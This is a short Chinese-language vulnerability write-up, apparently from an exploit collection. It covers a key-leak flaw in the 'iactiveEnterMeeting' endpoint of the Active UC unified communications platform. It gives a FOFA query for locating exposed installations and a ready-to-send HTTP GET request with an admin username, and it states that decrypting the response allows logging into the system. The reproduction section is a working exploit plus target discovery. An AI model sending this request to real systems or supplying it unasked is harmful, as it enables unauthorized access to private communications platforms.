网动统一通信平台iactiveEnterMeeting存在密钥泄露漏洞
一、漏洞简介
网动统一通信平台是一个涵盖了多种通信功能的综合平台，通常包括文字、语音、视频通讯等功能，并且可能提供了一系列的通讯工具和服务。这样的平台通常旨在提升用户的沟通效率和便利性，为用户提供一个统一的通信环境。网动统一通信平台iactiveEnterMeeting存在密钥泄露漏洞
二、影响版本
- 网动统一通信平台
三、资产测绘
- fofa
title="网动统一通信平台(Active UC)" - 特征
四、漏洞复现
GET /acenter/iactiveEnterMeeting.action?roomid=1&username=admin HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
解密后可登录系统
